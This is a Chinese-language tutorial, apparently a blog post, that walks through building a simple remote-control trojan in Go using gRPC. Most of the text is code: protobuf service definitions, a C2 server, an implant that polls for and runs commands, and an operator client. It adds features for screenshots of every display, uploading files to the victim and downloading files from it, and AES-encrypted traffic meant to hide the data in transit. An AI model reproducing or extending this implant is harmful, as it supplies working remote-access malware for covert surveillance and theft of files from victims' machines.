基於gRPC編寫golang簡單C2遠控
概述
構建一個簡單的遠控木馬需要編寫三個獨立的部分:植入程式、服務端程式和管理程式。
植入程式是運行在目標機器上的遠控木馬的一部分。植入程式會定期輪詢伺服器以查找新的命令,然後將命令輸出發回給伺服器。
管理程式是運行在用戶機器上的客戶端,用於發出實際的命令。
服務端則負責與植入程式和客戶端的交互,接收客戶端的指令,並在植入程式請求時,將命令發送給植入程式,隨後將植入程式發送來的結果傳遞給客戶端。
gRPC
這裡通過gRPC構建所有的網路交互。
關於gRPC、Protobuf、protoc請參考//www.zhihu.com/question/286825709
gRPC是由google創建的一個高性能遠程過程調用(RPC)框架。RPC框架允許客戶端通過標準和定義的協議與伺服器進行通訊,而不必了解底層的任何細節。gRPC基於HTTP/2運行,以一種高效的二進位結構傳遞消息。gRPC默認的序列方式是Protobuf。
定義和構造gRPC API
這裡使用Protobufs來定義API
Service
在proto文件中定義了兩個service,分別對應植入程式服務端和管理程式服務端。
在植入程式服務中,定義了三個方法FetchCommand
、SendOutput
和GetSleepTime
。
FetchCommand:將從伺服器檢索所有為執行的命令
SendOutput:會將一個Command消息發送伺服器
GetSleepTime:從服務端檢索sleep時間間隔
在管理程式服務中,定義的兩個方法RunCommand
和SetSleepTime
RunCommand:接收一個Command消息作為參數,並期望獲讀回一個Command消息
SetSleepTime:向伺服器發送一個SleepTime消息作為時間間隔
Message
最後看到定義的三個message Command
、SleepTime
和Empty
Command:消息中的兩個參數分別代表了輸入的命令和命令對應的結果。都為string類型,要說明的是後面兩個數字是代表了消息本身兩個欄位出現的偏移量,也就是In將首先出現,然後是Out。
SleepTime:唯一 一個欄位就是用來標明休眠時間間隔的
Empty:用來代替null的空消息 定義這個Empty類型是由於gRPC不顯式地允許空值
syntax = "proto3";
package grpcapi;
option go_package = "./grpcapi";
service Implant {
rpc FetchCommand (Empty) returns (Command);
rpc SendOutput (Command) returns (Empty);
rpc GetSleepTime(Empty) returns (SleepTime);
}
service Admin {
rpc RunCommand (Command) returns (Command);
rpc SetSleepTime(SleepTime) returns (Empty);
}
//Command消息包含兩個欄位,一個用於維護作業系統的命令;一個用於維護命令執行的輸出
message Command {
string In = 1;
string Out = 2;
}
message SleepTime {
int32 time = 1;
}
//Empty 用來代替null的空消息 定義這個Empty類型是由於gRPC不顯式地允許空值
message Empty {
}
編譯proto文件
對於Golang使用如下命令編譯.proto
文件。會根據你的.proto
文件生成Go文件。
這個生成的新文件回包含Protobuf模式中創建的服務和消息的結構和結構體定義。後續將利用它構造服務端、植入程式和客戶端。
protoc --go_out=./ --go-grpc_opt=require_unimplemented_servers=false --go-grpc_out=./ *.proto
實現
創建服務端
首先,創建兩個結構體adminServer
和implantServer
,它們都包含兩個Command通道,用於發送和接收命令以及命令的輸出。這兩個結構體會實現gRPC API中定義的服務端介面。並且需要為這兩個結構體定義輔助函數NewAdminServer
和NewImplantServer
,用於創建新的實例,可以確保通道正確的初始化。
type implantServer struct {
work, output chan *grpcapi.Command
}
type adminServer struct {
work, output chan *grpcapi.Command
}
func NewImplantServer (work, output chan *grpcapi.Command) *implantServer {
s := new(implantServer)
s.work = work
s.output = output
return s
}
func NewAdminServer (work, output chan *grpcapi.Command) *adminServer {
s := new(adminServer)
s.work = work
s.output = output
return s
}
implantServer
對於植入程式服務端,需要實現的方法有FetchCommand()
、SendOutput()
和GetSleepTime()
FetchCommand:植入程式將調用方法FetchCommand作為一種輪詢機制,它會詢問「有工作給我嗎?」。在程式碼中,將根據select語句,當work通道中有數據時會從中讀取數據到實例化的Command中,並返回。如果沒有讀取到數據,就會返回一個空的Command。
func (s *implantServer) FetchCommand(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.Command, error) {
var cmd = new(grpcapi.Command)
select {
case cmd, ok := <-s.work:
if ok {
return cmd, nil
}
return cmd, errors.New("channel closed")
default:
return cmd, nil
}
}
SendOutput:將接收一個Command,其中包含了從植入程式中獲取的命令執行的結果。並將這個Command推送到output通道中,以便管理程式的後續讀取。
func (s *implantServer) SendOutput (ctx context.Context, result *grpcapi.Command) (*grpcapi.Empty, error) {
s.output <- result
fmt.Println("result:" + result.In + result.Out)
return &grpcapi.Empty{}, nil
}
*GetSleepTime:植入程式在每次sleep之前就會調用此方法,向服務端詢問sleep的時間。這個方法將返回從變數sleepTIme中讀取到的數據。
func (s *implantServer) GetSleepTime(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.SleepTime, error) {
time := new(grpcapi.SleepTime)
time.Time = sleepTime
return time,nil
}
adminServer
對於管理程式服務端,需要實現的方法有RunCommand
和SetSleepTime
RunCommand:該方法接收一個尚未發送到植入程式的Command,它表示管理程式希望在植入程式上執行的工作。並將工作發送給work通道。因為使用無緩衝的通道,該操作將會阻塞程式的執行,但同時又需要從output通道中接收數據,因此使用goroutine將工作放入work通道中。
調用這個方法時,會將命令發送給服務端,並等待植入程式執行完後的發送回的結果。
func (s *adminServer) RunCommand(ctx context.Context, cmd *grpcapi.Command) (*grpcapi.Command, error) {
fmt.Println(cmd.In)
var res *grpcapi.Command
go func() {
s.work <- cmd
}()
res = <- s.output
return res, nil
}
SetSleepTime:管理程式客戶端調用此方法,將從命令行輸入的時間發送給服務端後,設置到sleepTIme變數中
func (s *adminServer) SetSleepTime(ctx context.Context, time *grpcapi.SleepTime) (*grpcapi.Empty, error) {
sleepTime = time.Time
return &grpcapi.Empty{}, nil
}
main函數部分
main函數首先使用相同的work和output通道實例化implantServer和adminServer。通過相同的通道實例,可以是管理程式服務端和植入程式服務端通過此共享通道進行通訊。
接下來,為每個服務啟動網路監聽器,將implantListener綁定到1961埠,將adminListener綁定到1962埠。最後創建兩個gRPC伺服器。
func main() {
var (
implantListener, adminListener net.Listener
err error
opts []grpc.ServerOption
work, output chan *grpcapi.Command
)
work, output = make(chan *grpcapi.Command), make(chan *grpcapi.Command)
//植入程式服務端和管理程式服務端使用相同的通道
implant := NewImplantServer(work, output)
admin := NewAdminServer(work, output)
//服務端建立監聽,植入服務端與管理服務端監聽的埠分別是1961和1962
if implantListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1961)); err != nil {
log.Fatalln("implantserver"+err.Error())
}
if adminListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1962)); err != nil {
log.Fatalln("adminserver"+err.Error())
}
//服務端設置允許發送和接收數據的最大限制
opts = []grpc.ServerOption{
grpc.MaxRecvMsgSize(1024*1024*12),
grpc.MaxSendMsgSize(1024*1024*12),
}
grpcAdminServer, grpcImplantServer := grpc.NewServer(opts...), grpc.NewServer(opts...)
grpcapi.RegisterImplantServer(grpcImplantServer, implant)
grpcapi.RegisterAdminServer(grpcAdminServer, admin)
//使用goroutine啟動植入程式服務端,防止程式碼阻塞,畢竟後面還要開啟管理程式服務端
go func() {
grpcImplantServer.Serve(implantListener)
}()
grpcAdminServer.Serve(adminListener)
}
創建植入程式和管理程式
植入程式
// WithInsecure 忽略證書
opts = append(opts, grpc.WithInsecure())
//設置發送和接收數據的最大限制
opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 )))
opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12)))
//連接到指定伺服器的指定埠
if conn,err = grpc.Dial(fmt.Sprintf("127.0.0.1:%d",1961), opts...); err != nil {
log.Fatal(err)
}
defer conn.Close()
client = grpcapi.NewImplantClient(conn)
ctx := context.Background()
//使用for循環來輪詢伺服器
for {
var req = new(grpcapi.Empty)
cmd, err := client.FetchCommand(ctx, req)
if err != nil {
log.Fatal(err)
}
//如果沒有要執行的命令就進入sleep
if cmd.In == "" {
//sleep之前向伺服器詢問sleep的時間
t,_ := client.GetSleepTime(ctx,req)
fmt.Println("sleep"+t.String())
time.Sleep(time.Duration(t.Time)* time.Second)
continue
}
//從服務端獲取到命令後先進行解密處理
command, _ := util.DecryptByAes(cmd.In)
//根據空格截取命令
tokens := strings.Split(string(command), " ")
.......
}
管理程式
// 設置命令行參數
flag.IntVar(&sleepTime,"sleep",0,"sleep time")
flag.StringVar(&session,"session","","start session")
flag.StringVar(&ip,"ip","127.0.0.1","Server IP")
flag.StringVar(&port,"port","1961","Server IP")
flag.Parse()
if session != "" {
//輸入session參數,並且參數值為start,開執行命令
if session == "start" {
// WithInsecure 忽略證書
opts = append(opts, grpc.WithInsecure())
//設置發送和接收數據的最大限制
opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 )))
opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12)))
//連接到指定伺服器的指定埠
if conn,err = grpc.Dial(fmt.Sprintf("%s:%s",ip, port),opts...);
err != nil {
log.Fatal(err)
}
defer conn.Close()
client = grpcapi.NewAdminClient(conn)
fmt.Println("start exec:")
//通過for循環來不斷向控制台輸入命令
for {
var cmd = new(grpcapi.Command)
//go中scan、scanf、scanln在輸入時都會將空格作為一個字元串的結束,因此不能使用這些來鍵入我們的命令
//獲取用戶輸入的命令
reader := bufio.NewReader(os.Stdin)
command, _, err := reader.ReadLine()
if nil != err {
fmt.Println("reader.ReadLine() error:", err)
}
//根據空格截取輸入的命令,以進行後續的判斷
flags := strings.Split(string(command)," ")
......
} else {
fmt.Println("please input start")
}
}
sleep時間
自定義回連時間:也就是允許自定義植入程式輪詢伺服器的時間間隔。
植入程式這裡輪詢時間間隔是通過sleep函數實現的,而實現自定義這個功能則是植入程式在sleep之前會向服務端詢問sleep的時間。
//如果沒有要執行的命令就進入sleep
if cmd.In == "" {
//sleep之前向伺服器詢問sleep的時間
t,_ := client.GetSleepTime(ctx,req)
fmt.Println("sleep"+t.String())
time.Sleep(time.Duration(t.Time)* time.Second)
continue
}
管理程式客戶端可以通過命令行參數sleep來設置休眠時間,單位為秒。
//根據命令行鍵入sleep參數的值進行設置sleep時間,如果沒有鍵入sleep參數默認為0
if sleepTime != 0 {
var time = new(grpcapi.SleepTime)
time.Time = int32(sleepTime)
ctx := context.Background()
client.SetSleepTime(ctx,time)
}
截圖
截圖功能實現
截圖功能藉助於 github.com/kbinani/screenshot
實現
植入端獲取到截圖命令後,會先獲取當前螢幕的數量,並根據順序進行截圖,並將圖片存放到[]byte
位元組切片中,進行加密編碼後發出。
//輸入的命令為screenshot 就進入下面的流程
if tokens[0] == "screenshot" {
images := util.Screenshot()
for _,image := range images {
result,_ := util.EncryptByAes(util.ImageToByte(image))
cmd.Out += result
cmd.Out += ";"
}
client.SendOutput(ctx, cmd)
continue
}
//util.Screenshot() 截圖
func Screenshot() []*image.RGBA {
var images []*image.RGBA
//獲取當前活動螢幕數量
i := screenshot.NumActiveDisplays()
if i == 0 {
}
for j :=0; j <= i-1; j++ {
image,_ := screenshot.CaptureDisplay(j)
images = append(images, image)
}
return images
}
//util.ImageToByte() 圖片轉位元組切片
func ImageToByte(image *image.RGBA) []byte{
buf := new(bytes.Buffer)
png.Encode(buf,image)
b := buf.Bytes()
return b
}
上傳文件
上傳文件,要求輸入的格式為 upload 本地文件 目標文件
。
管理程式會根據輸入的本地文件,將本地文件讀取到[]byte
位元組切片當中,並進行AES加密和BASE64編碼。也就是說最終向服務端傳遞的數據將變成經過加密、編碼後的字元串。這裡會將這個字元串存放在Command.Out中。這裡可能遊戲額難以理解,command.Out不是用來存放執行結果的嗎?其實在服務端中,會將管理程式客戶端的命令放到work中,然後將植入程式執行完以後會才會將結果封裝在command.Out,而在這之前command.Out是空的。這裡上傳文件實際上是在管理程式客戶端時「借用」command.Out的位置,將要上傳的數據與上傳命令一起發送給植入程式。
這裡根據前面提到的,設置最大上傳數據為12MB,但要注意的上傳文件會經過aes加密與base64編碼,因此12MB指經過加密後的數據大小,實際上允許上傳的數據要小於12MB。下載同理。
if flags[0] == "upload" {
if len(flags) != 3 || flags[2] == "" {
fmt.Println("輸入格式為:upload 本地文件 目標文件")
continue
}
file, err := os.ReadFile(flags[1])
if err != nil {
fmt.Println(err.Error())
continue
}
//將數據存放在Command.Out中
cmd.Out,err = util.EncryptByAes(file)
if err != nil {
log.Fatal(err.Error())
}
cmd = Run(cmd,command,client)
out,err := util.DecryptByAes(cmd.Out)
if err != nil {
log.Fatal(err.Error())
}
fmt.Println(string(out))
continue
}
植入端程式將根據cmd.in
中輸入的命令判斷是否為上傳指令。判斷為上傳指令後,將會對cmd.out
中保存的字元串數據進行解密後寫入到用戶指定的目標文件當中。
//匹配上傳命令
if tokens[0] == "upload" {
file,_ := util.DecryptByAes(cmd.Out)
err := os.WriteFile(tokens[2],file,0666)
if err != nil{
cmd.Out,_ = util.EncryptByAes([]byte(err.Error()))
client.SendOutput(ctx, cmd)
} else {
cmd.Out,_ = util.EncryptByAes([]byte("upload success!"))
client.SendOutput(ctx, cmd)
}
continue
}
下載文件
下載文件, 要求輸入的格式為download 目標文件 本地文件
。
客戶端將下載命令發送給服務端。客戶端會從cmd.out
中讀取到數據後解密,並根據用戶輸入的本地文件寫入文件。
if flags[0] == "download" {
if len(flags) != 3 || flags[2] == "" {
fmt.Println("輸入格式為:download 目標文件 本地文件")
continue
}
//發送命令
cmd = Run(cmd,command,client)
file, err := util.DecryptByAes(cmd.Out)
if err != nil {
log.Fatal(err.Error())
}
if string(file[0:13]) == "download err!" {
fmt.Println(string(file[0:13]))
continue
}
err = os.WriteFile(flags[2],file,0666)
if err != nil {
fmt.Println(err.Error())
}else {
fmt.Println("download success! Path:" + flags[2])
}
continue
}
當植入程式詢問到該命令之後,會將用戶輸入的目標文件讀取到[]byte
位元組切片當中,與上傳文件類似地,進行加密編碼以字元串形式存放到cmd.Out中經服務端發送給客戶端。
//匹配下載命令
if tokens[0] == "download" {
file,err := os.ReadFile(tokens[1])
if err != nil {
cmd.Out,_ = util.EncryptByAes([]byte("download err! "+err.Error()))
client.SendOutput(ctx, cmd)
}else {
cmd.Out,_ = util.EncryptByAes(file)
_,err2 := client.SendOutput(ctx, cmd)
if err2 != nil {
fmt.Println(err2.Error())
}
}
continue
}
編碼問題
go的編碼是UTF-8,而CMD的活動頁是GBK編碼的,因此使用GoLang進行命令執行時,對於命令執行結果返回的中文會產生亂碼的現象。
雖然在植入程式中會執行命令,但是在通過植入程式再向服務端發送結果時由於包含亂碼,植入程式向服務端發送的數據為空。(因此服務端就沒有接收這個數據),result中沒有數據,所以植入程式的服務端在向output輸入數據時會阻塞。由於管理服務端和植入程式服務端共享通道,output中沒有數據,進而引發管理服務端也阻塞(直到output中有數據)。
中文亂碼問題的解決依賴於golang.org/x/text/encoding/simplifiedchinese
當然在解決掉亂碼問題後,這一問題也就消失了。
type Charset string
const (
UTF8 = Charset("UTF-8")
GB18030 = Charset("GB18030")
)
func ConvertByte2String(byte []byte, charset Charset) string {
var str string
switch charset {
case GB18030:
decodeBytes, _ := simplifiedchinese.GB18030.NewDecoder().Bytes(byte)
str = string(decodeBytes)
case UTF8:
fallthrough
default:
str = string(byte)
}
return str
}
流量加密
對於所有的C2程式都應該加密其網路流量,這對於植入程式和伺服器之間的通訊尤為重要。通過截取流量,可以看到植入程式和服務端的數據是明文的。對於解決這個問題,可以提供得是兩種選擇,一是對我們傳輸得數據進行加密如異或、AES加密,在傳輸過程中使用密文傳遞;二是使用TLS技術。
如下為未加密前流量
當前使用AES+BAES64編碼來進行加密
aes加密和base64編碼參考://blog.csdn.net/dodod2012/article/details/117706402
管理程式客戶端獲取到用戶從命令行鍵入的命令,將對這個命令進行base64+aes加密,再發送給服務端。服務端接收到這個消息後,直接將消息寫入通道中。
待植入程式客請求服務端時,就會讀取到這段密文,進行解密後執行命令,並將執行的結果進行加密發送給服務端。最終管理程式會從結果通道中讀取到執行的結果,解密後並進行編碼格式的轉變,輸出到控制台。這相比於明文傳輸就安全多了。如下為加密後的流量